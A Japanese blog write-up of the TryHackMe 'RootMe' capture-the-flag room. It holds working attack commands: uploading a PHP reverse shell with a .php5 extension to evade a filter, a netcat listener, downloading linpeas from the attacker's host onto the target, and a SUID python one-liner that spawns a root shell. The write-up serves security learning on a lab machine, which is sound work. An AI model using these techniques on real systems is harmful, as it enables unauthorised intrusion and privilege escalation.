1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【TryHackMe】RootMe - Writeup

Last updated at Posted at 2024-02-07

はじめに

TryHackMeの "RootMe" というルームのWriteupです。
挑戦的な名前のWebサイトをハックしていきましょう! 

Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
侵入後に user.txt、権限昇格後に root.txt をゲットするのが目標です。

Recon

Host
$ nmap 10.10.210.186 -sV

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-07 03:35 GMT
Nmap scan report for ip-10-10-210-186.eu-west-1.compute.internal (10.10.210.186)
Host is up (0.00043s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 02:29:CA:38:CA:77 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds

22,80のポートが開いていることがわかる。

httpが使われているのでひとまずブラウザで見てみるとサイトが見れた。

image.png

Can you root me? って言ってますね。
ボタンとかは特にない。

Enumeration

隠しディレクトリがないか調べてみよう。

$ gobuster dir -u http://10.10.210.186 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.210.186
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/02/07 03:41:17 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/css (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/panel (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2024/02/07 03:41:18 Finished
===============================================================
root@ip-10-10-85-107:~# 

403は見れないので、301のファイル3つが気になる。
js, panel, uploadsをそれぞれ見ていく。

/js

image.png

Javascriptのファイルが見えるのでクリックしてみる。

image.png

innerHTMLってあんまり使わないほうがいいんだっけ。

/panel

image.png

ファイルアップロードが出来るページのようだ。

image.png

ためしにアップロードしてみるとアップロード出来てしまった。

/uploards

見てみると、このページにさきほどアップロードしたファイルが保存されている。

image.png

Gaining Access

どうやって侵入するか考えてわからなかったので問題を見ると
リバースシェルをアップロードせよと指示があった。

ファイルアップロードするページのネットワークを開発者ツールから確認すると、CookieのところにPHPと書かれている。PHPを使っているようだ。

image.png

kaliにデフォルトで入っているPHPのリバースシェルを送り込む。

$  cp /usr/share/webshells/php/php-reverse-shell.php Desktop/rev

リスナーを起動しておく。

$ nc -lnvp 7000

ファイルを開いてIPアドレスとポートを変更してからアップロード。
.phpは拒否されるので拡張子を.php5にする。

/uploadsで送ったリバースシェルをクリックして実行すると、リバースシェルが起動!

$ nc -lnvp 7000
Listening on [0.0.0.0] (family 0, port 7000)
Connection from 10.10.210.186 59578 received!
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 04:36:29 up  1:04,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: cant access tty; job control turned off
$ whoami
www-data

www-dataというユーザでログイン出来ている。

シェルの安定化

このままだとシェルのタブ補完等が出来ず不安定なため、下記手順を実施する。

$ python -c 'import pty;pty.spawn("/bin/bash")'
## ctrl + z
$ stty raw -echo; fg

TERMをX Window Systemの標準のターミナルエミュレータであるxtermに変更。デフォルトは各回線毎のOSによって異なります。また、シェルはwww-dataのログインシェルである/usr/sbin/nologinの状態。作業しやすいようにSHELLをbashに変更する。

$ export TERM=xterm
$ export SHELL=bash

user.txtを探していく

Target
$ find / -type f -name user.txt 2>/dev/null
/var/www/user.txt
$ cat /var/www/user.txt	
THM{************}

user.txtが取得できた。

PrivEsc

LinPEASで脆弱性を探していく。

Hacker
$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20240204-ab87b191/linpeas.sh
$ python3 -m http.server
Target
$ wget http:{host ip}:8000/linpeas.sh <-- w権限あるフォルダで!
$ chmod +x linpeas.sh
$ ./linpeas.sh > linpeas.log
結果
-rwsr-sr-x 1 root root 3.5M Aug  4  2020 /usr/bin/python

確認したところ、pythonにSUIDが設定されていることが分かった。

GTFObinsのコードをそのまま実行するとrootでシェルが起動
(なぜかシェルの安定化を行わないとpythonが無限に起動しない謎現象があった・・・)

$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
#
# whoami
root
# find / -type f -name root.txt 2>/dev/null
/root/root.txt
# cat /root/root.txt
THM{*****_******}

無事root.txtの方も取得できました。

あとがき

ファイルアップロードの脆弱性からリバースシェルを実行するという内容でした。
問題を解いていけば正解に近づけるの教育的で良いな~

  • ディレクトリトラバーサル
  • ファイルアップロードの脆弱性
  • SUID

ReverseShellGenerator を使ってみたかったけど出来なくて、結局kaliにデフォルトにあるリバースシェルを使った。なんで使えないんだろう?ちょっと悔しい。

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?